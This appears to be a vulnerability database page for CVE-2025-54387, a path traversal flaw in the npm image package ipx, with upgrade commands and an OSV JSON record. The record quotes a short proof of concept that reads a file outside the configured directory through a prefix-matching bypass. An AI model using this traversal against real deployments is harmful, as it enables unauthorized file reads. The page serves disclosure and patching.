CVE-2025-54387: Ipx Path Traversal Vulnerability
MODERATECVE-2025-54387 is a MODERATE path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Ipx libraries in the npm ecosystem. The issue involves ipx allows path traversal via prefix matching bypass. Remediation is available by upgrading affected packages to version 1.3.2, 2.1.1, 3.1.1.
CVE-2025-54387 at a Glance
How to Fix CVE-2025-54387
To remediate this vulnerability, upgrade all affected Ipx dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install ipx@1.3.2
npm install ipx@2.1.1
npm install ipx@3.1.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls ipx
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-54387, inspect your project dependencies using npm:
npm ls ipx
Analyze the terminal output to locate any version of Ipx in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.3.2), your application is affected.
Note: The npm ls ipx command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Ipx, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-54387 Affected Ipx Versions
3 component(s)References
Frequently Asked Questions
What is CVE-2025-54387?
Which Ipx versions are affected?
What version fixes CVE-2025-54387?
Is ipx affected?
What CWE is associated with CVE-2025-54387?
How can I check npm dependencies for CVE-2025-54387?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-mm3p-j368-7jcr",
"modified" : "2025-08-05T17:10:13Z",
"published" : "2025-08-04T14:48:25Z",
"aliases" : [ "CVE-2025-54387" ],
"summary" : "IPX Allows Path Traversal via Prefix Matching Bypass",
"details" : "### Summary\n\nThe approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.\n\n\n### PoC\n\n- setup\n```\nmkdir ~/public123\nmove a png file under ~/public123 with name test.png\ncd\nnpm i ipx \n```\n\n- `main.js`\n```js\nimport { createIPX, ipxFSStorage } from \"ipx\";\n\nconst ipx = createIPX({\n storage: ipxFSStorage({ dir: \"./public\" }),\n});\n\n\n(async () => { \n {\n const source = await ipx(\"../public123/test.png\"); // access file outside ./public dir because of same prefix folder\n const { data, format } = await source.process();\n console.log(format) // print image data\n }\n {\n try {\n const source = await ipx(\"../publi123/test.png\"); // forbidden path: the prefix is not the same\n const { data, format } = await source.process();\n console.log(data)\n } catch (err) {\n console.log(err.message) // Forbidden path:\n }\n\n }\n\n})()\n```\n\n- `node main.js`\n```\npng\nForbidden path: /../publi123/test.png\n```\n\n### Impact\nPath Traversal\n\n### Possible Fix\n\nCheck if the `dir` ends with `/` (path separator) and if not, add before calling `startsWith`",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "ipx"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.3.2"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "ipx"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.0.0-0"
}, {
"fixed" : "2.1.1"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "ipx"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.0.0"
}, {
"fixed" : "3.1.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/unjs/ipx/security/advisories/GHSA-mm3p-j368-7jcr"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54387"
}, {
"type" : "WEB",
"url" : "https://github.com/unjs/ipx/commit/81693ddbfc062cc922e4e2406e8427ab4e3ad214"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/unjs/ipx"
}, {
"type" : "WEB",
"url" : "https://github.com/unjs/ipx/releases/tag/v1.3.2"
}, {
"type" : "WEB",
"url" : "https://github.com/unjs/ipx/releases/tag/v2.1.1"
}, {
"type" : "WEB",
"url" : "https://github.com/unjs/ipx/releases/tag/v3.1.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2025-08-04T14:48:25Z",
"nvd_published_at" : "2025-08-05T01:15:41Z"
}
}